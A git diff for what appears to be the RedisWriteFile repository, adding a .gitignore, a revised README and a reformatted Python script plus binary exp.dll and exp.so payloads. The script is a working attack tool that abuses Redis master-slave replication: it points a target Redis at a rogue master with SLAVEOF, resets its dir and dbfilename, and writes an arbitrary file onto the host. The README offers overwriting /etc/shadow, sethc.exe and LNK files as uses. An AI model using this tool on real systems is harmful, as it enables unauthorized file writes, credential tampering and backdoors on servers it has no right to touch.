diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..1b85794 --- /dev/null +++ b/.gitignore @@ -0,0 +1,268 @@ +# Created by https://www.toptal.com/developers/gitignore/api/windows,macos,linux,python,visualstudiocode +# Edit at https://www.toptal.com/developers/gitignore?templates=windows,macos,linux,python,visualstudiocode + +### Linux ### +*~ + +# temporary files which can be created if a process still has a handle open of a deleted file +.fuse_hidden* + +# KDE directory preferences +.directory + +# Linux trash folder which might appear on any partition or disk +.Trash-* + +# .nfs files are created when an open file is removed but is still being accessed +.nfs* + +### macOS ### +# General +.DS_Store +.AppleDouble +.LSOverride + +# Icon must end with two \r +Icon + +# Thumbnails +._* + +# Files that might appear in the root of a volume +.DocumentRevisions-V100 +.fseventsd +.Spotlight-V100 +.TemporaryItems +.Trashes +.VolumeIcon.icns +.com.apple.timemachine.donotpresent + +# Directories potentially created on remote AFP share +.AppleDB +.AppleDesktop +Network Trash Folder +Temporary Items +.apdisk + +### macOS Patch ### +# iCloud generated files +*.icloud + +### Python ### +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +# *.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/#use-with-ide +.pdm.toml + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ + +### Python Patch ### +# Poetry local configuration file - https://python-poetry.org/docs/configuration/#local-configuration +poetry.toml + +# ruff +.ruff_cache/ + +# LSP config files +pyrightconfig.json + +### VisualStudioCode ### +.vscode/* +!.vscode/settings.json +!.vscode/tasks.json +!.vscode/launch.json +!.vscode/extensions.json +!.vscode/*.code-snippets + +# Local History for Visual Studio Code +.history/ + +# Built Visual Studio Code Extensions +*.vsix + +### VisualStudioCode Patch ### +# Ignore all local history of files +.history +.ionide + +### Windows ### +# Windows thumbnail cache files +Thumbs.db +Thumbs.db:encryptable +ehthumbs.db +ehthumbs_vista.db + +# Dump file +*.stackdump + +# Folder config file +[Dd]esktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Windows Installer files +*.cab +*.msi +*.msix +*.msm +*.msp + +# Windows shortcuts +*.lnk + +# End of https://www.toptal.com/developers/gitignore/api/windows,macos,linux,python,visualstudiocode diff --git a/README.md b/README.md index 7f024cd..44be60f 100644 --- a/README.md +++ b/README.md @@ -1,18 +1,21 @@ +# RedisWriteFile 此脚本是通过 `Redis` 主从写出无损文件,可用于 `Windows` 平台下写出无损的 `EXE`、`DLL`、 `LNK` 和 `Linux` 下的 `OS` 等二进制文件 -也可以用无杂质覆写 `Linux` 中的 `/etc/shadow` +也可以用无杂质覆写 `Linux` 中的 `/etc/shadow` 用法: -``` -______ _ _ _ _ _ _ ______ _ _ -| ___ \ | (_) | | | | (_) | | ___(_) | -| |_/ /___ __| |_ ___| | | |_ __ _| |_ ___| |_ _| | ___ +> 最好在 powershell 环境中使用 + +```plaintext +______ _ _ _ _ _ _ ______ _ _ +| ___ \ | (_) | | | | (_) | | ___(_) | +| |_/ /___ __| |_ ___| | | |_ __ _| |_ ___| |_ _| | ___ | // _ \/ _` | / __| |/\| | '__| | __/ _ \ _| | | |/ _ \ | |\ \ __/ (_| | \__ \ /\ / | | | || __/ | | | | __/ -\_| \_\___|\__,_|_|___/\/ \/|_| |_|\__\___\_| |_|_|\___| +\_| \_\___|\__,_|_|___/\/ \/|_| |_|\__\___\_| |_|_|\___| - Author : R3start + Author : R3start Reference : redis-rogue-server.py Usage: rediswritefile.py [options] @@ -33,14 +36,22 @@ Options: -v, --verbose Show full data stream ``` + +## Ref + +- `exp.so`: +- `exp.dll`: + +## Example + 如覆写宝塔配置文件: -![bt.gif](https://github.com/r35tart/RedisWriteFile/raw/master/bt_gif.gif) +![bt.gif](./assets/bt_gif.gif) 覆写 `sethc.exe`: -![sethc.gif](https://github.com/r35tart/RedisWriteFile/raw/master/sethc_ok.gif) +![sethc.gif](./assets/sethc_ok.gif) 覆写 `LNK` : -![ie.gif](https://github.com/r35tart/RedisWriteFile/raw/master/ie.gif) +![ie.gif](./assets/ie.gif) diff --git a/RedisWriteFile.py b/RedisWriteFile.py index 3442365..d38b9b4 100644 --- a/RedisWriteFile.py +++ b/RedisWriteFile.py @@ -1,33 +1,30 @@ #!/usr/bin/env python3 # -*- encoding: utf-8 -*- -''' -@File : RedisWriteFile.py -@Time : 2020/05/22 22:55:13 -@Author : R3start -@Version : 1.0 -''' +# @File : RedisWriteFile.py +# @Time : 2020/05/22 22:55:13 +# @Author : R3start +# @Version : 1.0 +# Description: Write file losslessly via Redis master-slave replication -# 脚本介绍 -# 通过 Redis 主从写出无损文件 import socket -import sys from time import sleep from optparse import OptionParser CLRF = "\r\n" -BANNER = ''' -______ _ _ _ _ _ _ ______ _ _ -| ___ \ | (_) | | | | (_) | | ___(_) | -| |_/ /___ __| |_ ___| | | |_ __ _| |_ ___| |_ _| | ___ +BANNER = r""" +______ _ _ _ _ _ _ ______ _ _ +| ___ \ | (_) | | | | (_) | | ___(_) | +| |_/ /___ __| |_ ___| | | |_ __ _| |_ ___| |_ _| | ___ | // _ \/ _` | / __| |/\| | '__| | __/ _ \ _| | | |/ _ \\ | |\ \ __/ (_| | \__ \ /\ / | | | || __/ | | | | __/ -\_| \_\___|\__,_|_|___/\/ \/|_| |_|\__\___\_| |_|_|\___| +\_| \_\___|\__,_|_|___/\/ \/|_| |_|\__\___\_| |_|_|\___| - Author : R3start + Author : R3start Reference : redis-rogue-server.py -''' +""" + def encode_cmd_arr(arr): cmd = "" @@ -38,9 +35,11 @@ def encode_cmd_arr(arr): cmd += "\r\n" return cmd + def encode_cmd(raw_cmd): return encode_cmd_arr(raw_cmd.split("##")) + def decode_cmd(cmd): if cmd.startswith("*"): raw_arr = cmd.strip().split("\r\n") @@ -49,9 +48,11 @@ def decode_cmd(cmd): return cmd.split("\r\n", 2)[1] return cmd.strip().split(" ") + def info(msg): print(f"\033[1;32;40m[info]\033[0m {msg}") + def din(sock, cnt=4096): global verbose msg = sock.recv(cnt) @@ -60,7 +61,8 @@ def din(sock, cnt=4096): print(f"\033[1;34;40m[->]\033[0m {msg}") else: print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}") - return msg.decode('gb18030') + return msg.decode("gb18030") + def dout(sock, msg): global verbose @@ -73,9 +75,11 @@ def dout(sock, msg): else: print(f"\033[1;33;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}") + def decode_shell_result(s): return "\n".join(s.split("\r\n")[1:-1]) + class Remote: def __init__(self, rhost, rport): self._host = rhost @@ -100,7 +104,7 @@ def __init__(self, lhost, lport): self._host = lhost self._port = lport self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self._sock.bind(('0.0.0.0', self._port)) + self._sock.bind(("127.0.0.1", self._port)) self._sock.listen(10) def close(self): @@ -117,7 +121,7 @@ def handle(self, data): resp = "+OK" + CLRF phase = 2 elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"): - resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF + resp = "+FULLRESYNC " + "Z" * 40 + " 1" + CLRF resp += "$" + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() @@ -136,56 +140,109 @@ def exp(self): break -def runserver(rhost, rport, lhost, lport,rpath,rfile): +def runserver(rhost, rport, lhost, lport, rpath, rfile): try: remote = Remote(rhost, rport) if auth: check = remote.do(f"AUTH##{auth}") - if "invalid password" in check : - info("Redis 认证密码错误!") + if "invalid password" in check: + info("Redis authentication password error!") exit() else: infos = remote.do("INFO") if "NOAUTH" in infos: - info("Redis 需要密码认证") + info("Redis requires password authentication") exit() - info("连接恶意主服务器: %s:%s " % (lhost,lport)) - info("连接恶意主状态: %s " % (remote.do(f"SLAVEOF##{lhost}##{lport}"))) - info("设置写出路径为: %s " % (str(rpath))) - info("设置写出路径状态: %s " % (remote.do(f"CONFIG##SET##dir##{str(rpath)}"))) - info("设置写出文件为: %s" % (rfile)) - info("设置写出文件状态: %s " % (remote.do(f"CONFIG##SET##dbfilename##{rfile}"))) + info("Connect to malicious master server: %s:%s " % (lhost, lport)) + info( + "Connect malicious master status: %s " + % (remote.do(f"SLAVEOF##{lhost}##{lport}")) + ) + info("Set output path to: %s " % (str(rpath))) + info( + "Set output path status: %s " + % (remote.do(f"CONFIG##SET##dir##{str(rpath)}")) + ) + info("Set output file to: %s" % (rfile)) + info( + "Set output file status: %s " + % (remote.do(f"CONFIG##SET##dbfilename##{rfile}")) + ) sleep(2) rogue = RogueServer(lhost, lport) rogue.exp() sleep(2) - info("断开主从连接: %s" % (remote.do("SLAVEOF##NO##ONE"))) - info("恢复原始文件名: %s" % (remote.do("CONFIG##SET##dbfilename##dump.rdb"))) + info("Disconnect target form master node: %s" % (remote.do("SLAVEOF##NO##ONE"))) + info( + "Restore origin file name: %s" + % (remote.do("CONFIG##SET##dbfilename##dump.rdb")) + ) rogue.close() except Exception as e: - print("\033[1;31;m[-]\033[0m 发生错误! : {} \n[*] Exit..".format(e)) -if __name__ == '__main__': + print("\033[1;31;m[-]\033[0m Error occurred! : {} \n[*] Exit..".format(e)) + + +if __name__ == "__main__": print(BANNER) parser = OptionParser() - parser.add_option("--rhost", dest="rh", type="string", - help="target host", metavar="REMOTE_HOST") - parser.add_option("--rport", dest="rp", type="int", - help="target redis port, default 6379", default=6379, - metavar="REMOTE_PORT") - parser.add_option("--lhost", dest="lh", type="string", - help="rogue server ip", metavar="LOCAL_HOST") - parser.add_option("--lport", dest="lp", type="int", - help="rogue server listen port, default 21000", default=21000, - metavar="LOCAL_PORT") - parser.add_option("--rpath", dest="rpath", type="string", - help="write to target file path, default '.'", metavar="Target_File_Path",default='.') - parser.add_option("--rfile", dest="rfile", type="string", - help="write to target file name, default dump.rdb", metavar="Target_File_Name",default='dump.rdb') - parser.add_option("--lfile", dest="lfile", type="string", - help="Local file that needs to be written", metavar="Local_File_Name",default='dump.rdb') + parser.add_option( + "--rhost", dest="rh", type="string", help="target host", metavar="REMOTE_HOST" + ) + parser.add_option( + "--rport", + dest="rp", + type="int", + help="target redis port, default 6379", + default=6379, + metavar="REMOTE_PORT", + ) + parser.add_option( + "--lhost", + dest="lh", + type="string", + help="rogue server ip", + metavar="LOCAL_HOST", + ) + parser.add_option( + "--lport", + dest="lp", + type="int", + help="rogue server listen port, default 21000", + default=21000, + metavar="LOCAL_PORT", + ) + parser.add_option( + "--rpath", + dest="rpath", + type="string", + help="write to target file path, default '.'", + metavar="Target_File_Path", + default=".", + ) + parser.add_option( + "--rfile", + dest="rfile", + type="string", + help="write to target file name, default dump.rdb", + metavar="Target_File_Name", + default="dump.rdb", + ) + parser.add_option( + "--lfile", + dest="lfile", + type="string", + help="Local file that needs to be written", + metavar="Local_File_Name", + default="dump.rdb", + ) parser.add_option("--auth", dest="auth", type="string", help="redis password") - parser.add_option("-v", "--verbose", action="store_true", default=False, - help="Show full data stream") + parser.add_option( + "-v", + "--verbose", + action="store_true", + default=False, + help="Show full data stream", + ) (options, args) = parser.parse_args() global verbose, payload, filename, auth @@ -195,12 +252,14 @@ def runserver(rhost, rport, lhost, lport,rpath,rfile): payload = open(localfile, "rb").read() if not options.rh or not options.lh: - info("请输入完整参数,-h 查看使用帮助") + info("Please enter complete parameters, use -h to view help") exit() info(f"TARGET {options.rh}:{options.rp}") info(f"SERVER {options.lh}:{options.lp}") try: - runserver(options.rh, options.rp, options.lh, options.lp,options.rpath,options.rfile) + runserver( + options.rh, options.rp, options.lh, options.lp, options.rpath, options.rfile + ) except Exception as e: info(repr(e)) diff --git a/bt_gif.gif b/assets/bt_gif.gif similarity index 100% rename from bt_gif.gif rename to assets/bt_gif.gif diff --git a/ie.gif b/assets/ie.gif similarity index 100% rename from ie.gif rename to assets/ie.gif diff --git a/sethc_ok.gif b/assets/sethc_ok.gif similarity index 100% rename from sethc_ok.gif rename to assets/sethc_ok.gif diff --git a/exp.dll b/exp.dll new file mode 100644 index 0000000..b021d18 Binary files /dev/null and b/exp.dll differ diff --git a/exp.so b/exp.so new file mode 100755 index 0000000..b29439d Binary files /dev/null and b/exp.so differ